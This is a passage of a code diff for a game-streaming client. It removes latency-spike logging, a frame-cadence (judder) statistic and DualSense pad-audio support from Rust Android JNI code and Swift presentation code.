self.hostnet_us.saturating_sub(h) as f64 / 1000.0
)),
self.gap_us as f64 / 1000.0,
self.au_len,
);
}
}
/// `debug.punktfunk.spike_ms` (1..=2000): log a per-AU stage breakdown for every receipt latency
/// at or above this. Unset = off, so the instrument costs nothing until someone asks for it.
fn spike_threshold_us() -> Option<u64> {
let mut buf = [0u8; 92]; // PROP_VALUE_MAX
// SAFETY: __system_property_get with a valid name + PROP_VALUE_MAX buffer is always safe.
let n = unsafe {
libc::__system_property_get(
c"debug.punktfunk.spike_ms".as_ptr(),
buf.as_mut_ptr().cast(),
)
};
if n > 0 {
if let Ok(ms) = std::str::from_utf8(&buf[..n as usize])
.unwrap_or("")
.trim()
.parse::<u64>()
{
if (1..=2_000).contains(&ms) {
return Some(ms * 1_000);
}
}
}
None
}
/// One decoded output buffer ready to release: its codec buffer index + the pts the codec echoed
/// (from the output callback's `BufferInfo`), used to pair the `decode` HUD stat, and the
/// wall-clock instant the output callback fired — the spec's `decoded` point ("decoder output
@@ -654,14 +584,6 @@ fn feeder_loop(
// Last logged phase-lock ACK (the host's applied capture hold, from the 0xCF tail) — logged
// on change so `adb logcat -s pf.phase` shows the closed loop working (or not) at a glance.
let mut last_phase_ack: Option<i32> = None;
// Latency-excursion watch (`debug.punktfunk.spike_ms`). Read once per stream: this is a
// field instrument, armed by setprop + reconnect, and off by default.
let spike_thresh_us = spike_threshold_us();
if let Some(t) = spike_thresh_us {
log::info!("decode: spike watch armed at {} ms (pf.spike)", t / 1000);
}
let mut spike_watch: VecDeque<SpikeWatch> = VecDeque::new();
let mut last_recv_mono: Option<i64> = None;
while !shutdown.load(Ordering::Relaxed) {
match client.next_frame(Duration::from_millis(5)) {
Ok(frame) => {
@@ -677,44 +599,6 @@ fn feeder_loop(
// Park the receipt stamp (keyed by the pts the codec echoes) whenever the `decode`
// stage is consumed: the HUD, or the ABR decode signal (`measure_decode`). The
// HUD-only `received` point + host/network split stay gated on the overlay.
// The receipt latency is needed by the always-on spike watch below, so it is
// computed for every complete AU rather than only when the HUD is up.
let spike_lat_us = if frame.complete {
let received_ns = if frame.received_ns > 0 {
frame.received_ns as i128
} else {
now_realtime_ns()
};
let off = clock_offset.load(Ordering::Relaxed) as i128;
let lat_ns = received_ns + off - frame.pts_ns as i128;
(lat_ns > 0 && lat_ns < 10_000_000_000).then_some((lat_ns / 1000) as u64)
} else {
None
};
if let (Some(thresh_us), Some(lat_us)) = (spike_thresh_us, spike_lat_us) {
let now_mono = now_monotonic_ns();
let gap_us = last_recv_mono
.map(|p| ((now_mono - p) / 1000) as u64)
.unwrap_or(0);
last_recv_mono = Some(now_mono);
if lat_us >= thresh_us {
let au_len = frame.part.map_or(0, |p| p.offset as usize) + frame.data.len();
// Held for the host's 0xCF timing for this pts, which is what splits the
// excursion into host pipeline vs wire — the whole point. Emitted
// unattributed if that never arrives (see the drain below).
spike_watch.push_back(SpikeWatch {
pts_ns: frame.pts_ns,
hostnet_us: lat_us,
au_len,
gap_us,
idx: frame.frame_index,
seen_mono: now_mono,
});
if spike_watch.len() > SPIKE_WATCH_CAP {
spike_watch.pop_front();
}
}
}
if (stats.enabled() || measure_decode) && frame.complete {
// Core reassembly-completion stamp (ABI v9), NOT the pull instant: stamping
// here would fold the hand-off queue wait into the network latency figure
@@ -748,47 +632,28 @@ fn feeder_loop(
pending_split.pop_front();
}
}
}
}
// The 0xCF drain is OUTSIDE the HUD gate: it carries the host's own pipeline time
// per AU, which is what attributes a latency excursion to the host or the wire,
// and the phase-lock ack, which had no business being invisible with the HUD down.
while let Ok(t) = client.next_host_timing(Duration::ZERO) {
// Phase-lock closed-loop readout: the host's applied hold rides the
// 0xCF tail; log transitions (~1 Hz worst case — the host updates it
// once a second). None = a host without the tail (pre-phase-lock).
if t.applied_phase_ns != last_phase_ack {
log::info!(
target: "pf.phase",
"host applied_phase={:?}us",
t.applied_phase_ns.map(|n| n / 1000)
);
last_phase_ack = t.applied_phase_ns;
}
if stats.enabled() {
if let Some(i) = pending_split.iter().position(|&(p, _)| p == t.pts_ns) {
let (_, hostnet_us) = pending_split.remove(i).unwrap();
stats.note_host_split(
t.host_us as u64,
hostnet_us.saturating_sub(t.host_us as u64),
);
while let Ok(t) = client.next_host_timing(Duration::ZERO) {
// Phase-lock closed-loop readout: the host's applied hold rides the
// 0xCF tail; log transitions (~1 Hz worst case — the host updates it
// once a second). None = a host without the tail (pre-phase-lock).
if t.applied_phase_ns != last_phase_ack {
log::info!(
target: "pf.phase",
"host applied_phase={:?}us",
t.applied_phase_ns.map(|n| n / 1000)
);
last_phase_ack = t.applied_phase_ns;
}
if let Some(i) = pending_split.iter().position(|&(p, _)| p == t.pts_ns)
{
let (_, hostnet_us) = pending_split.remove(i).unwrap();
stats.note_host_split(
t.host_us as u64,
hostnet_us.saturating_sub(t.host_us as u64),
);
}
}
}
if let Some(i) = spike_watch.iter().position(|w| w.pts_ns == t.pts_ns) {
let w = spike_watch.remove(i).unwrap();
w.log(Some(t.host_us as u64));
}
}
// Anything the host never reported on still gets logged, unattributed, rather
// than silently dropped — an old host has no 0xCF tail at all.
let now_mono = now_monotonic_ns();
while spike_watch
.front()
.is_some_and(|w| now_mono - w.seen_mono > SPIKE_ATTRIBUTE_WAIT_NS)
{
if let Some(w) = spike_watch.pop_front() {
w.log(None);
}
}
if ev_tx.send(DecodeEvent::Au(frame, gap)).is_err() {
break; // the decode loop is gone
+1 -1
View File
@@ -185,7 +185,7 @@ unsafe extern "C" fn on_frame_rendered(
let display_us = paired.and_then(|(d, _)| clamp(displayed_ns - d));
let latch_us = paired.and_then(|(_, r)| clamp(displayed_ns - r));
// Always-on half: the presenter's pf-present line reads these with the HUD off.
t.meter.note_latch(latch_us, system_nano);
t.meter.note_latch(latch_us);
if !t.stats.enabled() {
return; // HUD hidden — skip the skew math + the stats lock
}
+6 -56
View File
@@ -22,7 +22,7 @@
use ndk::media::media_codec::MediaCodec;
use std::collections::VecDeque;
use std::sync::atomic::{AtomicBool, AtomicI32, AtomicI64, Ordering};
use std::sync::atomic::{AtomicBool, AtomicI32, Ordering};
use std::sync::Mutex;
use std::time::Instant;
@@ -152,10 +152,6 @@ pub(super) struct PresentMeter {
/// This device delivers render callbacks at all (API ≥ 33 and the platform accepted the
/// registration). Until one arrives, `undisplayed` is meaningless and the rail stays down.
confirms: AtomicBool,
/// The learned panel period the cadence statistic quantises against, republished by
/// [`Presenter::pump`] (the callback thread has no access to the vsync clock). 0 until the
/// grid is known, which simply means cadence is not scored yet.
panel_period_ns: AtomicI64,
}
struct PresentMeterInner {
@@ -170,9 +166,6 @@ struct PresentMeterInner {
/// Capture→decoded end-to-end µs (skew-corrected, clamped) — always on for the same reason:
/// the wireless A/B's headline without having to reach the on-screen HUD.
e2e_us: Vec<u64>,
/// The cadence (judder) statistic — the only stat here that is not a latency, and the only
/// one that can see a pacing defect. See [`punktfunk_core::phase::PresentIntervals`].
intervals: punktfunk_core::phase::PresentIntervals,
}
impl PresentMeter {
@@ -184,33 +177,19 @@ impl PresentMeter {
feed_us: Vec::with_capacity(256),
codec_us: Vec::with_capacity(256),
e2e_us: Vec::with_capacity(256),
intervals: punktfunk_core::phase::PresentIntervals::new(),
}),
undisplayed: AtomicI32::new(0),
confirms: AtomicBool::new(false),
panel_period_ns: AtomicI64::new(0),
}
}
/// Republish the learned panel period for the cadence statistic (presenter thread).
pub(super) fn set_panel_period(&self, period_ns: i64) {
self.panel_period_ns.store(period_ns, Ordering::Relaxed);
}
/// One displayed frame's release→displayed latch, µs. Callback thread; poison-proof.
///
/// Also the glass budget's CONFIRM: this frame left the BufferQueue, so one outstanding
/// release is settled. Clamped at zero — the legacy `arrival` path renders without going
/// through [`Presenter::pump`], so confirms can outnumber counted releases.
///
/// `present_mono_ns` is SurfaceFlinger's own render timestamp, raw on `CLOCK_MONOTONIC` —
/// deliberately not the realtime-rebased instant the latency stats use. Cadence is a
/// statistic about *spacing*, and a realtime clock step (NTP) would forge a hitch that never
/// happened. Garbage stamps need no special handling here: an implausible one lands in the
/// stall or disordered counters rather than the judder ratio.
pub(super) fn note_latch(&self, latch_us: Option<u64>, present_mono_ns: i64) {
pub(super) fn note_latch(&self, latch_us: Option<u64>) {
self.confirms.store(true, Ordering::Relaxed);
let period_ns = self.panel_period_ns.load(Ordering::Relaxed);
let _ = self
.undisplayed
.fetch_update(Ordering::Relaxed, Ordering::Relaxed, |v| {
@@ -221,7 +200,6 @@ impl PresentMeter {
.lock()
.unwrap_or_else(std::sync::PoisonError::into_inner);
g.displays += 1;
g.intervals.record(present_mono_ns, period_ns);
if let Some(l) = latch_us {
if g.latch_us.len() < 4096 {
g.latch_us.push(l);
@@ -280,17 +258,7 @@ impl PresentMeter {
}
#[allow(clippy::type_complexity)] // one caller unpacks it in place; a struct would be noise
fn drain(
&self,
) -> (
Vec<u64>,
u64,
Vec<u64>,
Vec<u64>,
Vec<u64>,
(u32, u32, u32),
Option<punktfunk_core::phase::PresentCadence>,
) {
fn drain(&self) -> (Vec<u64>, u64, Vec<u64>, Vec<u64>, Vec<u64>) {
let mut g = self
.inner
.lock()
@@ -303,8 +271,6 @@ impl PresentMeter {
std::mem::take(&mut g.feed_us),
std::mem::take(&mut g.codec_us),
std::mem::take(&mut g.e2e_us),
g.intervals.pending(),
g.intervals.take(),
)
}
}
@@ -444,11 +410,6 @@ impl Presenter {
stats: &crate::stats::VideoStats,
now_mono_ns: i64,
) -> bool {
// The callback thread scores cadence but cannot see the vsync clock — republish the grid
// it quantises against. Relaxed: a period change is rare and one stale sample is noise.
if let Some(c) = clock {
meter.set_panel_period(c.panel_period_ns().max(c.period_ns()));
}
// Budget bookkeeping first: reopen on the predicted latch, force-open on the backstop.
if let Some(f) = &self.inflight {
if now_mono_ns >= f.reopen_at_ns {
@@ -586,11 +547,7 @@ impl Presenter {
/// `pace` (decoded→release) / `latch` (release→displayed) /
/// `feed`+`codec` (the decode stage split: received→queued hand-off/slot wait + the
/// codec-pure queued→decoded time) / `e2e` (capture→decoded, skew-corrected — the wireless
/// A/B headline) / `vsync` (the measured panel period) /
/// `judder` (‰ of present intervals off the modal spacing — the cadence statistic, and the
/// only number here that can see a pacing defect) / `mode` (the modal spacing in refreshes:
/// 1 at panel rate, 2 for 60-on-120) / `stalls` + `disorder` (excluded from the ratio; see
/// [`punktfunk_core::phase::PresentIntervals`]).
/// A/B headline) / `vsync` (the measured panel period).
///
/// Returns this window's CIRCULAR latch statistics `(vector-mean latch ns mod panel period,
/// coherence ‰)` when a window actually flushed — the phase-lock reporter's v2 error signal
@@ -604,7 +561,7 @@ impl Presenter {
return None;
}
self.last_flush = Instant::now();
let (latch, displays, feed, codec, e2e, cad_raw, cadence) = meter.drain();
let (latch, displays, feed, codec, e2e) = meter.drain();
if self.released == 0 && displays == 0 {
return None; // idle stream — nothing worth a line
}
@@ -627,8 +584,7 @@ impl Presenter {
paceMs p50={:.2} max={:.2} latchMs p50={:.2} max={:.2} \
feedMs p50={:.2} max={:.2} codecMs p50={:.2} max={:.2} \
e2eMs p50={:.2} max={:.2} circ={:.2}ms coh={} \
vsyncMs={:.2} panelMs={:.2} \
judder={}permille mode={}vsync cadN={} stalls={} disorder={} cadPeriodMs={:.2}",
vsyncMs={:.2} panelMs={:.2}",
self.released,
displays,
self.paced_drops,
@@ -651,12 +607,6 @@ impl Presenter {
circ.map(|(_, c)| c).unwrap_or(0),
period_ms,
panel_ns as f64 / 1e6,
cadence.map(|c| c.judder_permille).unwrap_or(0),
cadence.map(|c| c.mode_units).unwrap_or(0),
cad_raw.0,
cad_raw.1,
cad_raw.2,
meter.panel_period_ns.load(Ordering::Relaxed) as f64 / 1e6,
);
self.released = 0;
// Margin adaptation, off the MEASURED latch. A release targets the first grid point past
-13
View File
@@ -77,14 +77,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeNextRumble(
// handle.
let h = unsafe { &*(handle as *const SessionHandle) };
match h.client.next_rumble_command(PULL_TIMEOUT) {
// A pad whose coils are ACTIVELY being driven by the 0xD1 haptics stream must not see
// wire rumble: `DsDevice` sets `valid_flag0` bit 1 (`HAPTICS_SELECT`) on every rumble
// write, and that bit disables the audio-haptics path — so one replayed command would
// mute the coils the stream is driving. Gating on *arrival of haptics frames* rather
// than on "a stream is open" is what keeps a rumble-only title working: it renders no
// haptics audio, so the host emits nothing on 0xD1 and the pad keeps its rumble.
// Dropping it here rather than in Kotlin keeps the rule next to the reason.
Ok(cmd) if crate::pad_audio::haptics_owns_coils((cmd.pad & 0xF) as u8) => -1,
Ok(cmd) => pack_rumble(cmd.pad, cmd.low, cmd.high, cmd.backstop_ms),
Err(_) => -1, // NoFrame (timeout) or Closed — Kotlin loops on its running flag
}
@@ -182,11 +174,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeNextHidout(
out[3..n].copy_from_slice(&data);
n
}
HidOutput::AudioCtl { .. } => {
// DS5 pad-audio routing/volumes — no Android replay path yet (the 0xD1 sample
// plane isn't rendered here either); drop it like TrackpadHaptic.
return -1;
}
};
n as jint
})
-2
View File
@@ -37,8 +37,6 @@ mod discovery;
mod feedback;
#[cfg(target_os = "android")]
mod mic;
/// Tier-A DualSense pad audio: the 0xD1 plane rendered on the pad's own USB endpoint.
mod pad_audio;
mod session;
mod stats;
// Ungated like `discovery`: pure `jni` + `punktfunk_core::wol` (no Android framework), so it links
File diff suppressed because it is too large Load Diff
+1 -13
View File
@@ -145,7 +145,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
timeout_ms: jint,
launch: JString<'local>,
device_name: JString<'local>,
pad_audio_ok: jboolean,
) -> jlong {
let host: String = match env.get_string(&host) {
Ok(s) => s.into(),
@@ -269,16 +268,7 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
// CLIENT_CAP_PHASE_LOCK is honest: the async decode loop's presenter feeds
// report_phase (advisory in v1 — the host arms on report receipt — but the Hello
// should say what the client does).
// CLIENT_CAP_PAD_AUDIO is the SESSION-level negotiation, separate from the per-pad
// arrival bits: without it the host never sets HOST_CAP_PAD_AUDIO and never emits 0xD1,
// so declaring a pad's render caps later would have nothing to gate. Gated on the
// settings so a user with pad audio off does not make the host provision endpoints.
punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK
| if pad_audio_ok != 0 {
punktfunk_core::quic::CLIENT_CAP_PAD_AUDIO
} else {
0
},
punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK,
// Slice-progressive delivery, by decoder truth (Kotlin probes FEATURE_PartialFrame on
// every decoder this device would use; `debug.punktfunk.force_parts` overrides for the
// on-glass experiment): AU prefixes then arrive as `Frame::part` pieces and the decode
@@ -301,8 +291,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
audio: Mutex::new(None),
#[cfg(target_os = "android")]
mic: Mutex::new(None),
#[cfg(target_os = "android")]
pad_audio: Mutex::new(None),
// A fresh session is never muted (mute is per-session UI state, not a setting).
mic_muted: Arc::new(std::sync::atomic::AtomicBool::new(false)),
};
-15
View File
@@ -61,11 +61,6 @@ pub(crate) struct SessionHandle {
audio: Mutex<Option<crate::audio::AudioPlayback>>,
#[cfg(target_os = "android")]
mic: Mutex<Option<crate::mic::MicCapture>>,
/// Tier-A DualSense pad audio (the 0xD1 plane), started by `nativeStartPadAudio` once Kotlin
/// has claimed the pad's audio interface and handed its descriptor over. Session-lifetime and
/// `Option` because a session may have no wired DualSense at all, which is the common case.
#[cfg(target_os = "android")]
pub(crate) pad_audio: Mutex<Option<crate::pad_audio::PadAudio>>,
/// In-stream mic mute, set via `nativeSetMicMuted` and read per 10 ms frame by the mic's
/// encode loop ([`crate::mic`]). Session-lifetime rather than per-[`crate::mic::MicCapture`]
/// for the same reason the stats gate is: the mic stops and restarts across a surface
@@ -104,14 +99,6 @@ impl SessionHandle {
fn stop_mic(&self) {
let _ = self.mic.lock().unwrap().take();
}
/// Stop pad audio. Dropping the [`crate::pad_audio::PadAudio`] joins its render thread, which
/// is what guarantees nothing is still writing to the descriptor when Kotlin closes the
/// `UsbDeviceConnection`. Idempotent.
#[cfg(target_os = "android")]
pub(crate) fn stop_pad_audio(&self) {
let _ = self.pad_audio.lock().unwrap().take();
}
}
impl Drop for SessionHandle {
@@ -121,8 +108,6 @@ impl Drop for SessionHandle {
self.stop_audio();
#[cfg(target_os = "android")]
self.stop_mic();
#[cfg(target_os = "android")]
self.stop_pad_audio();
}
}
@@ -460,111 +460,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStopMic(
})
}
/// `NativeBridge.nativeStartPadAudio(handle, pad, fd, haptics, speaker): Boolean` — start tier-A
/// DualSense pad audio on a descriptor Kotlin has already obtained.
///
/// `fd` comes from `UsbDeviceConnection.getFileDescriptor()` **after** claiming the pad's audio
/// streaming interface. Kotlin owns that connection and **must keep it open until
/// `nativeStopPadAudio` returns**: the renderer borrows the descriptor and never closes it, so
/// closing early would pull it out from under an in-flight isochronous transfer.
///
/// Returns `false` when there is nothing to render (both kinds disabled) or the thread would not
/// start. A kernel that refuses the interface claim is NOT reported here — the renderer discovers
/// that on its own thread and degrades to tier C, because some OEM kernels refuse and there is no
/// app-side fix worth blocking a session on.
#[no_mangle]
#[cfg(target_os = "android")]
pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStartPadAudio(
_env: JNIEnv,
_this: JObject,
handle: jlong,
pad: jni::sys::jint,
fd: jni::sys::jint,
haptics: jboolean,
speaker: jboolean,
) -> jboolean {
jni_guard(0, || {
if handle == 0 || fd < 0 || !(0..16).contains(&pad) {
return 0;
}
// SAFETY: live handle per the nativeConnect/nativeClose contract.
let h = unsafe { &*(handle as *const SessionHandle) };
// Replace any previous renderer first: dropping it joins the old thread, so two of them
// can never hold the same descriptor at once.
h.stop_pad_audio();
// The capability declaration and the rumble suppression are NOT done here: the renderer
// makes both only once its USB stream actually opens (see `pad_audio::render`). Doing them
// at spawn time would, on a kernel that refuses the interface claim, take the pad off wire
// rumble and give it nothing in return — no haptics of any kind.
match crate::pad_audio::start(
std::sync::Arc::clone(&h.client),
pad as u8,
fd,
haptics != 0,
speaker != 0,
) {
Some(p) => {
*h.pad_audio.lock().unwrap() = Some(p);
1
}
None => 0,
}
})
}
/// `NativeBridge.nativePadAudioSelfTest(fd, seconds, hz): Int` — drive the pad directly with a
/// tone through the real client render path, with no host and no session involved.
///
/// The check a standalone harness cannot make: it owns its descriptor by construction, so it can
/// never reveal that the client handed the renderer a descriptor something else was already
/// driving. Returns sample frames written, or negative on failure (see `pad_audio::SelfTest`).
#[no_mangle]
#[cfg(target_os = "android")]
pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativePadAudioSelfTest(
_env: JNIEnv,
_this: JObject,
fd: jni::sys::jint,
seconds: jni::sys::jint,
hz: jni::sys::jint,
) -> jni::sys::jint {
jni_guard(-1, || {
if fd < 0 {
return -1;
}
// SAFETY: Kotlin holds the owning UsbDeviceConnection open across this call and drives no
// other transfers on it (it opens a dedicated connection for exactly this).
unsafe { crate::pad_audio::self_test(fd, seconds, hz) }
})
}
/// `NativeBridge.nativeStopPadAudio(handle, pad)` — stop tier-A pad audio and join its thread.
///
/// Returns only once the render thread is joined, which is the point: Kotlin may close the
/// `UsbDeviceConnection` as soon as this returns and not before.
#[no_mangle]
#[cfg(target_os = "android")]
pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStopPadAudio(
_env: JNIEnv,
_this: JObject,
handle: jlong,
pad: jni::sys::jint,
) {
jni_guard((), || {
if handle != 0 {
// SAFETY: live handle per the nativeConnect/nativeClose contract.
let h = unsafe { &*(handle as *const SessionHandle) };
h.stop_pad_audio();
if (0..16).contains(&pad) {
// Withdraw the capability and hand the pad back to wire rumble, in that order:
// the host stops sending 0xD1 before tier C resumes, so the two never overlap.
h.client.set_pad_audio_caps(pad as u8, 0);
crate::pad_audio::set_tier_a(pad as u8, false);
crate::pad_audio::clear_haptics_liveness(pad as u8);
}
}
})
}
/// `NativeBridge.nativeSetMicMuted(handle, muted)` — mute/unmute the mic uplink mid-stream.
///
/// Muting deliberately does NOT stop the capture: the AAudio input stream, the input-preset rung
@@ -474,7 +474,6 @@ private final class DeadlineLinkDelegate: NSObject, CAMetalDisplayLinkDelegate {
// The link's own pipeline depth, measured: how far ahead of glass this vend runs.
let leadS = update.targetPresentationTimestamp - CACurrentMediaTime()
stats?.vendLead(ms: leadS * 1000)
stats?.notePanelTarget(mediaTime: update.targetPresentationTimestamp)
// Same measurement into the floor meter (as a LatencyMeter sample: end = now, start =
// now lead) its 1 s p50 is the OS present floor SessionModel shaves off.
if leadS > 0, let floorMeter {
@@ -563,112 +562,6 @@ final class PresentGate: @unchecked Sendable {
}
}
/// One window's present-cadence summary (see `PresentIntervals`).
struct PresentCadence: Equatable {
/// The most common spacing, in whole panel refreshes: 1 at panel rate, 2 for 60-on-120.
let modeUnits: Int
/// Fraction of intervals that were NOT the mode, in . **The judder number.**
let judderPermille: Int
let samples: Int
/// Spacings wider than `maxUnits` stalls, not judder.
let stalls: Int
/// Present instants that did not advance (duplicate/out-of-order callbacks).
let disordered: Int
}
/// Present-interval distribution in whole panel refreshes the cadence (judder) statistic.
///
/// A **verbatim port of `punktfunk_core::phase::PresentIntervals`**, in the same spirit as
/// `PhaseReporter.circularLatch` above: the three clients must publish the SAME statistic, so the
/// numbers can be compared across platforms and so a feature-on/off A/B uses one ruler. Any change
/// here belongs in the Rust original first including the tie-break, which is spelled out on both
/// sides precisely because the two languages' `max` disagree about which equal element wins.
///
/// Every other stat we publish is a latency: a difference between two points on one frame. No
/// latency can see judder, because judder is a property of the *sequence*. A stream that shows each
/// frame one refresh early and the next one late has excellent percentiles and looks broken.
///
/// Fed the MEASURED on-glass instant, never the requested present time the latter would measure
/// our own intent and report a perfect cadence no matter what the display did.
struct PresentIntervals {
/// Largest spacing still treated as cadence; wider is a stall, counted apart.
private static let maxUnits = 8
/// Minimum intervals before a summary means anything (matches `circularLatch`'s bar).
private static let minSamples = 8
/// A backwards step larger than this is a bogus timestamp, not a reordered delivery, so the
/// run re-anchors rather than holding the old instant. Without it, one garbage far-future
/// stamp latches the statistic and every later present scores as disordered for the whole
/// session observed on glass on Android, 2026-08-05.
private static let reanchorNs: Int64 = 100_000_000
private var lastPresentNs: Int64 = 0
private var hist = [Int](repeating: 0, count: PresentIntervals.maxUnits + 1)
private var samples = 0
private var stalls = 0
private var disordered = 0
/// Forget the previous instant without discarding the window's counts a discontinuity where
/// the next present does not continue this cadence.
mutating func split() { lastPresentNs = 0 }
/// Fold one on-glass instant. A non-positive `periodNs` means the grid is not known yet and
/// the sample is held as the new predecessor without being scored.
mutating func record(presentNs: Int64, periodNs: Int64) {
let prev = lastPresentNs
lastPresentNs = presentNs
guard prev > 0, periodNs > 0 else { return }
let spacing = presentNs - prev
if spacing <= 0 {
// Hold the LATER instant so one reordered delivery cannot corrupt every following
// spacing but only when the step back is small enough to BE a reordering. Beyond
// that the old instant is the bogus one (see `reanchorNs`) and the run re-anchors
// onto the new sample, which `lastPresentNs` already holds.
disordered += 1
if prev - presentNs < PresentIntervals.reanchorNs {
lastPresentNs = prev
}
return
}
// Nearest whole refresh: a present is "on the grid" if it is closer to this vblank than
// the next, which is exactly what the display did with it.
let units = Int((spacing * 2 + periodNs) / (periodNs * 2))
if units > PresentIntervals.maxUnits {
stalls += 1
return
}
hist[units] += 1
samples += 1
}
/// This window's summary, or nil under `minSamples`.
func summary() -> PresentCadence? {
guard samples >= PresentIntervals.minSamples else { return nil }
// Ties resolve to the SMALLEST spacing see the Rust original: `max_by_key` takes the
// last maximum and Swift's `max(by:)` the first, so this is written out on both sides.
var modeUnits = 0
var modeCount = 0
for (i, c) in hist.enumerated() where c > modeCount {
modeCount = c
modeUnits = i
}
return PresentCadence(
modeUnits: modeUnits,
judderPermille: (samples - modeCount) * 1000 / samples,
samples: samples, stalls: stalls, disordered: disordered)
}
/// Drain the window. The previous instant SURVIVES the cadence continues across a window
/// boundary, and dropping it would manufacture one unscored interval per window.
mutating func take() -> PresentCadence? {
let out = summary()
hist = [Int](repeating: 0, count: PresentIntervals.maxUnits + 1)
samples = 0
stalls = 0
disordered = 0
return out
}
}
/// PUNKTFUNK_PRESENT_DEBUG=1 aggregation: one printed line per second from the render thread with
/// the decode rate, render outcomes, the slowest render call ( nextDrawable wait) and the deltas
/// between system-reported on-glass times (vsync-aligned presents show clean refresh-period
@@ -695,50 +588,6 @@ private final class PresentDebugStats: @unchecked Sendable {
/// 120 Hz panel saturates this at ~maximumDrawableCount; stage-3 pegs it at the gate depth).
private var inFlight = 0
private var maxInFlight = 0
/// The cadence (judder) statistic the only number here that is not a latency, and the only
/// one that can see a pacing defect. `glassDeltasMs` above is the same raw material reported
/// as a percentile, which cannot distinguish a steady 2-refresh cadence from an alternating
/// 1-and-3 one: same mean, same median, one of them visibly broken.
private var intervals = PresentIntervals()
/// The panel period cadence quantises against: seeded from the display mode and refined from
/// the link's own reported period, mirroring `punktfunk_core::phase::PanelGrid`'s seed-then-
/// correct design. 0 until known, which simply means cadence is not scored yet.
private var panelPeriodNs: Int64 = 0
/// Deadline-pacing period learner state (see `notePanelTarget`). Re-armed each window so a
/// mode or VRR rate change is tracked both ways rather than latching the first value seen.
private var lastTargetS: CFTimeInterval = 0
private var minTargetSpacingS: CFTimeInterval = 0
/// Whether the verbose per-second line prints. The cadence line always does: a smoothness
/// defect must not be invisible until someone thinks to set an env var.
private let verbose: Bool
init(verbose: Bool) { self.verbose = verbose }
/// Seed or refine the panel period (render/link thread).
func setPanelPeriod(ns: Int64) {
guard ns > 0 else { return }
lock.lock()
panelPeriodNs = ns
lock.unlock()
}
/// Deadline pacing has no reported period, so learn it from the link's own target instants.
/// Those tick at the panel rate whether or not WE present, which is what makes the window
/// minimum the true period the same reasoning (and the same guard band) `PhaseReporter`
/// uses above. Learning it from on-glass spacings instead would read a 60-on-120 stream as a
/// 60 Hz panel and mislabel the cadence mode.
func notePanelTarget(mediaTime t: CFTimeInterval) {
lock.lock()
defer { lock.unlock() }
defer { lastTargetS = t }
guard lastTargetS > 0 else { return }
let d = t - lastTargetS
guard d > 0.0005, d < 0.1 else { return }
if minTargetSpacingS == 0 || d < minTargetSpacingS {
minTargetSpacingS = d
panelPeriodNs = Int64(d * 1_000_000_000)
}
}
func emptyWake() { lock.lock(); empty += 1; lock.unlock() }
@@ -775,13 +624,8 @@ private final class PresentDebugStats: @unchecked Sendable {
if lastGlassNs > 0 { glassDeltasMs.append(Double(atNs - lastGlassNs) / 1e6) }
lastGlassNs = atNs
latchMs.append(Double(atNs - issuedNs) / 1e6)
intervals.record(presentNs: atNs, periodNs: panelPeriodNs)
} else {
// A dropped drawable never reached glass, so it is not a cadence event but the
// NEXT one does not continue the previous interval either. Split rather than let
// the gap read as judder.
dropped += 1
intervals.split()
}
lock.unlock()
}
@@ -812,9 +656,6 @@ private final class PresentDebugStats: @unchecked Sendable {
smoothing.overflowDrops, smoothing.underflows, maxRenderMs, inflightMax,
gate?.drainForced() ?? 0, p50, dMax, deltas.count, latchP50, latchMax,
vendP50, vendMax)
let cadence = intervals.take()
let verbose = self.verbose
minTargetSpacingS = 0 // re-arm the period learner for the next window
ok = 0; failed = 0; empty = 0; dropped = 0; gated = 0; noDrawable = 0
maxRenderMs = 0
maxInFlight = inFlight // the window peak restarts from the live depth
@@ -822,21 +663,6 @@ private final class PresentDebugStats: @unchecked Sendable {
latchMs.removeAll(keepingCapacity: true)
vendLeadMs.removeAll(keepingCapacity: true)
lock.unlock()
// The cadence line is ALWAYS emitted (when the window had evidence): it is the ruler the
// smoothness A/B reads, and it must not depend on an env var the field never sets. The
// verbose counters line stays behind its existing lever.
if let cadence {
let cadenceLine = String(
format: "pf-present judderPermille=%d modeVsync=%d n=%d stalls=%d disorder=%d",
cadence.judderPermille, cadence.modeUnits, cadence.samples,
cadence.stalls, cadence.disordered)
presentLog.info("\(cadenceLine, privacy: .public)")
if presentDebug {
print(cadenceLine)
fflush(stdout)
}
}
guard verbose else { return }
// Console.app first (the on-device readout see presentLog); stdout only under the env
// lever (the CLI client's capture channel).
presentLog.info("\(line, privacy: .public)")
@@ -920,10 +746,6 @@ public final class Stage2Pipeline {
/// mirror the pump's bounded join.
private let renderSignal = DispatchSemaphore(value: 0)
private let vsyncClock = VsyncClock()
/// The per-session present statistics, retained so the clock-bearing threads can republish
/// the panel period the cadence statistic quantises against. Assigned once in `start`, read
/// from the render/link threads; the object is itself lock-guarded.
private var presentStats: PresentDebugStats?
private let renderStopped = DispatchSemaphore(value: 0)
private var renderJoinable = false
/// Deadline pacing's staged CAMetalDisplayLink frame-rate hint (see `FrameRateHint`).
@@ -1145,14 +967,7 @@ public final class Stage2Pipeline {
// startDeadlinePresenter. The V-Sync policy below doesn't apply there (the link deadline-
// times every present). Deadline sessions ALWAYS carry the stats (their pf-present line
// streams to Console.app via presentLog the on-device pacing decomposition).
//
// The stats object is now built for EVERY session, because the cadence statistic inside
// it has to be: a smoothness defect produces no drops and healthy percentiles, so gating
// it behind an env var means the one number that could see it is off exactly when it
// matters. `verbose` preserves the old behaviour for the wordy counters line.
let debugStats: PresentDebugStats? = PresentDebugStats(
verbose: presentDebug || pacing == .deadline)
presentStats = debugStats
let debugStats = (presentDebug || pacing == .deadline) ? PresentDebugStats() : nil
if pacing == .deadline {
startDeadlinePresenter(debugStats: debugStats)
return
@@ -1426,9 +1241,6 @@ public final class Stage2Pipeline {
/// (their CAMetalDisplayLink's updates are both clock and retry).
